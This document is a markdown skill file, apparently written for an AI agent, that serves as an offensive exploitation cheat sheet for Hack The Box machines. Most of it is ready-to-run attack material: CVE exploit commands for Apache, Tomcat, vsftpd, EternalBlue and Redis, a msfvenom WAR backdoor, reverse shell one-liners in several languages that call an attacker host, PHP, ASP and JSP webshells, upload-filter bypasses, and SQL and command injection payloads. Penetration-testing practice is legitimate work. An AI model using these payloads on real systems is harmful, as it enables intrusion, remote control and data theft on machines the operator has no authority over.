Common Exploits

---
name: Common Exploits
description: |
  This skill should be used when the user asks about "searchsploit",
  "CVE exploits", "exploit database", "common vulnerabilities",
  "reverse shells", "webshells", or needs guidance on exploiting
  common vulnerabilities and services.
version: 1.0.0
---

# Common Exploits Skill

## Overview
Reference for common exploits, CVEs, and attack techniques encountered in HTB machines.

## Searchsploit

### Basic Usage
```bash
# Search by name
searchsploit apache 2.4.49
searchsploit openssh 7.2
searchsploit vsftpd 2.3.4

# Search with filters
searchsploit -t apache  # Title only
searchsploit -e apache  # Exact match

# Copy exploit
searchsploit -m 12345  # Copy by ID
searchsploit -m exploits/linux/remote/12345.py

# Examine exploit
searchsploit -x 12345

# Update database
searchsploit -u
```

## Web Application Exploits

### Apache
| Version | CVE | Vulnerability |
|---------|-----|---------------|
| 2.4.49-50 | CVE-2021-41773/42013 | Path Traversal / RCE |
| mod_proxy | CVE-2021-40438 | SSRF |

**CVE-2021-41773 (Path Traversal)**:
```bash
# Read files
curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

# RCE (if mod_cgi enabled)
curl 'http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/bash' \
    -d 'echo; id'
```

### Tomcat
| Version | CVE | Vulnerability |
|---------|-----|---------------|
| < 9.0.31 | CVE-2020-1938 | Ghostcat (AJP) |
| 7.0.0-7.0.79 | CVE-2017-12615 | PUT RCE |

**Ghostcat (AJP Port 8009)**:
```bash
# Read WEB-INF/web.xml
python ajpShooter.py http://<TARGET>:8080 8009 /WEB-INF/web.xml read
```

**Tomcat Manager (if creds found)**:
```bash
# Deploy WAR backdoor
msfvenom -p java/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f war -o shell.war
curl -u 'tomcat:password' --upload-file shell.war http://<TARGET>/manager/text/deploy?path=/shell
curl http://<TARGET>/shell/
```

### WordPress
```bash
# WPScan for vulnerabilities
wpscan --url http://<TARGET> -e vp,vt,u --api-token <TOKEN>

# Common vulnerable plugins (check version)
# - Contact Form 7
# - Elementor
# - WooCommerce
# - Yoast SEO
```

### Drupal
| Version | CVE | Vulnerability |
|---------|-----|---------------|
| 7.x < 7.58 | CVE-2018-7600 | Drupalgeddon 2 (RCE) |
| 8.x < 8.5.1 | CVE-2018-7600 | Drupalgeddon 2 (RCE) |

**Drupalgeddon 2**:
```bash
# Use script from GitHub
python drupalgeddon2.py http://<TARGET>
```

## Service Exploits

### SSH
| Version | CVE | Vulnerability |
|---------|-----|---------------|
| < 7.7 | CVE-2018-15473 | User Enumeration |

**User Enumeration**:
```bash
python ssh_user_enum.py <TARGET> -u root
```

### FTP
| Service | Version | Vulnerability |
|---------|---------|---------------|
| vsftpd | 2.3.4 | Backdoor RCE |
| ProFTPD | 1.3.5 | mod_copy RCE |

**vsftpd 2.3.4 Backdoor**:
```bash
# Trigger backdoor with :) in username
nc <TARGET> 21
USER test:)
PASS anything
# Connect to port 6200
nc <TARGET> 6200
```

### SMB
| Vulnerability | CVE | Affected |
|---------------|-----|----------|
| EternalBlue | MS17-010 | Win7, Server 2008 |
| SambaCry | CVE-2017-7494 | Samba 3.5-4.5 |

**EternalBlue**:
```bash
# Check vulnerability
nmap --script smb-vuln-ms17-010 -p445 <TARGET>

# Exploit with Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET>
run
```

### Redis
```bash
# Check unauthenticated access
redis-cli -h <TARGET> INFO

# Write SSH key
redis-cli -h <TARGET>
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAA... user@attacker\n\n"
save
```

### MongoDB
```bash
# Check unauthenticated access
mongo <TARGET>:27017

# List databases
show dbs
use admin
db.getUsers()
```

## Reverse Shells

### Bash
```bash
bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1

# Alternative
bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1'
```

### Python
```python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ATTACKER>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

### PHP
```php
<?php passthru("/bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1'"); ?>
```

### Netcat
```bash
# With -e
nc -e /bin/bash <ATTACKER> 4444

# Without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER> 4444 >/tmp/f
```

### PowerShell
```powershell
$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER>',4444)
$stream = $client.GetStream()
# ... (use revshells.com for full payload)
```

### Resources
- RevShells.com: https://www.revshells.com/
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings

## Webshells

### PHP
```php
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
```

### ASP
```asp
<% eval request("cmd") %>
```

### JSP
```jsp
<% Runtime.getRuntime().run(request.getParameter("cmd")); %>
```

## File Upload Bypass

### Extension Bypass
```
.php → .php5, .phtml, .phar, .phps
.asp → .aspx, .ashx
.jsp → .jspx

# Double extension
shell.php.jpg
shell.jpg.php

# Null byte (older systems)
shell.php%00.jpg
```

### Content-Type Bypass
```
Change: application/x-php
To: image/jpeg
```

### Magic Bytes
```bash
# Add GIF header
echo "GIF89a" > shell.php
cat payload.php >> shell.php
```

## SQL Injection

### Testing
```
' OR 1=1--
" OR 1=1--
' OR '1'='1
admin'--
```

### Union-Based
```sql
' UNION SELECT 1,2,3--
' UNION SELECT null,null,null--
' UNION SELECT username,password,null FROM users--
```

### SQLMap
```bash
# GET parameter
sqlmap -u "http://<TARGET>/page?id=1" --batch

# POST request
sqlmap -u "http://<TARGET>/login" --data="user=test&pass=test" --batch

# Dump database
sqlmap -u "http://<TARGET>/page?id=1" --batch -D database -T users --dump
```

## Command Injection

### Payloads
```bash
; id
| id
|| id
& id
&& id
$(id)
`id`
```

### Blind Detection
```bash
# Time-based
; sleep 5
| sleep 5
; ping -c 5 <ATTACKER>
```

## Resources

### Exploit Databases
- Exploit-DB: https://www.exploit-db.com/
- CVE Details: https://www.cvedetails.com/
- NVD: https://nvd.nist.gov/

### Payload Collections
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
- HackTricks: https://book.hacktricks.xyz/
- RevShells: https://www.revshells.com/